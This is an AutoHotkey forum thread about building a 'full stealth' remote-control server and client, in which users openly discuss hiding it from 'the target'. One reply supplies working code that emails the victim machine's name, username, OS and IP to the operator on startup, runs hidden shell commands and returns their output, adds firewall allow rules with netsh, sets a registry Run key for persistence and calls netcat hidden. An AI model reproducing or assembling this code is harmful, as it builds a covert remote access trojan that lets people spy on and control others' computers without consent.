Jump to content

Sky Slate Blueberry Blackcurrant Watermelon Strawberry Orange Banana Apple Emerald Chocolate
Photo

Remote Control PC, TCP/IP Connection, Server and Client (now full stealth)


  • Please log in to reply
7 replies to this topic
Armisius
  • Members
  • 8 posts
  • Last active: Feb 23 2018 06:25 PM
  • Joined: 17 Jan 2013

 



SnowFlake_FlowSnake
  • Members
  • 845 posts
  • Last active: Jan 24 2016 05:24 PM
  • Joined: 08 Oct 2012

Wow what a script!

 

Thanks Jonathan :D

 

I'm really really happy that you shared this!

 

Do you mind if i modify your scripts to be in my scripts?

 

http://www.autohotke...hen-uploads-it/

http://www.autohotke...ahk-script-php/

 

I will give you credits if needed and i 25$ if you want PayPal or what ever you use

thanks!

 

also could you please compile the Server and Client into 2 files?

 

fixed error in server.ahk line 151

 

 

from : 

Menu, tooltip, Your Ip Is: %ip%

to: 

tooltip, Your Ip Is:  %ip%

  • Download link of my scripts on Autohotkey.com 2/10/2015 [DOWNLAND]
  • Contact Info:  https://github.com/floowsnaake //  FloowSnaake(A)gmail.com
  • IF you need Help send me a PM,Email or Post on Github

  • Quote by tank  Posted 29 September 2015 - 06:14 PM

  • "Eventually i will find a way to convert the DB back to PHPBB3. but i dont have the bandwidth right now. No one that has tried has had success. It is the Only way i can keep this open is if i could successfully convert it."

Armisius
  • Members
  • 8 posts
  • Last active: Feb 23 2018 06:25 PM
  • Joined: 17 Jan 2013

Oh thanks, thats an old server client, I'll upload new ones, you can use them, I'll be posting a Donations button if someone wish to colaborate :)



SnowFlake_FlowSnake
  • Members
  • 845 posts
  • Last active: Jan 24 2016 05:24 PM
  • Joined: 08 Oct 2012

"-whenever the server opens, send a email (with ip adress) to a custom email, so you know what ip adress have the target."
 
This works

pmsg := ComObjCreate("CDO.Message")
pmsg.From := "YourEmail@gmail.com"
pmsg.To := "YourEmail@gmail.com"
pmsg.BCC := ""   ; Blind Carbon Copy, Invisable for all, same syntax as CC
pmsg.CC := ""
pmsg.Subject := "tester " TimeX
pmsg.TextBody   :=  " Email test""`n`nComputer Name:  " A_ComputerName  "`nOS:  " A_OSVersion  "`nUsername:  " A_Username  "`nIP:  " A_IPAddress1 ""
var := A_ScriptDir
SPVvar :=  " "
sAttach = %SPVvar%
; can add multiple attachments, the delimiter is |
fields := Object()
fields.smtpserver   := "smtp.gmail.com" ; specify your SMTP server
fields.smtpserverport     := 465 ; 25
fields.smtpusessl      := True ; False
fields.sendusing     := 2   ; cdoSendUsingPort
fields.smtpauthenticate     := 1   ; cdoBasic
fields.sendusername := "YourEmail@gmail.com"
fields.sendpassword := "password"
fields.smtpconnectiontimeout := 60
schema := "http://schemas.microsoft.com/cdo/configuration/"
pfld :=   pmsg.Configuration.Fields
For field,value in fields
pfld.Item(schema . field) := value
pfld.Update()
 
Loop, Parse, sAttach, |, %A_Space%%A_Tab%
pmsg.AddAttachment(A_LoopField)
 
pmsg.Send()
Sleep, 300
 MsgBox Email Sent
 ExitApp
 return

 
also you can do this instead of making a text file every time, it should work:
 
Original:

filedelete, c:\temp.txt
    runwait, %comspec% /c %command2%>c:\temp.txt,,hide
    FileRead, r, c:\temp.txt
    FileDelete, c:\temp.txt
    msgbox, %r%
    temp := "GOT_CMDRESPONSE_"r
    this.sendtext(temp)
    return

to:

Cmd("ipconfig") ; calling of CMD that function


Cmd(com){ ; CMD Function
Runwait %comspec% /c %Com% | clip,,hide
ClipWait,2
temp = %clipboard%
; temp := "GOT_CMDRESPONSE_"temp
msgbox, %temp%
this.sendtext(temp)
return temp
}

Also this is good to have i think:

RunWait, cmd /c netsh advfirewall firewall add rule name="AHkServer" dir=in action=allow program="%A_ScriptFullPath%" enable=yes          ; Allouse Server to not be disrupted by the Firewall
RunWait, cmd /c netsh advfirewall firewall add rule name="AHkServer" dir=in action=allow protocol=TCP localport=465                                        ; Opens Port 465 in the Firewall.
RegWrite, REG_SZ, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, autostart_Server, "%A_ScriptFullPath%"  ; autostarts the server

this is your local IP adress, make it use the one from the edit box instead:

from:

run, %comspec% /c %A_workingdir%\nc -v 192.168.5.15 80 > %A_workingdir%\%filename%.bmp,,hide

to:

run, %comspec% /c %A_workingdir%\nc -v %ipadress% > %A_workingdir%\%filename%.bmp,,hide

  • Download link of my scripts on Autohotkey.com 2/10/2015 [DOWNLAND]
  • Contact Info:  https://github.com/floowsnaake //  FloowSnaake(A)gmail.com
  • IF you need Help send me a PM,Email or Post on Github

  • Quote by tank  Posted 29 September 2015 - 06:14 PM

  • "Eventually i will find a way to convert the DB back to PHPBB3. but i dont have the bandwidth right now. No one that has tried has had success. It is the Only way i can keep this open is if i could successfully convert it."

Armisius
  • Members
  • 8 posts
  • Last active: Feb 23 2018 06:25 PM
  • Joined: 17 Jan 2013

Okey thanks, I'll be adding this, just wait for it



Armisius
  • Members
  • 8 posts
  • Last active: Feb 23 2018 06:25 PM
  • Joined: 17 Jan 2013

to:

Cmd("ipconfig") ; calling of CMD that function


Cmd(com){ ; CMD Function
Runwait %comspec% /c %Com% | clip,,hide
ClipWait,2
temp = %clipboard%
; temp := "GOT_CMDRESPONSE_"temp
msgbox, %temp%
this.sendtext(temp)
return temp
}

But that ****s up the target clipboard, we dont want to the target suspects



fooztr
  • Members
  • 10 posts
  • Last active: Sep 23 2015 02:09 PM
  • Joined: 28 Aug 2012

Please share the code with me :-)



zhuhaiping
  • Members
  • 1 posts
  • Last active: Oct 19 2015 12:38 AM
  • Joined: 13 Oct 2015

this is your local IP adress, make it use the one from the edit box instead: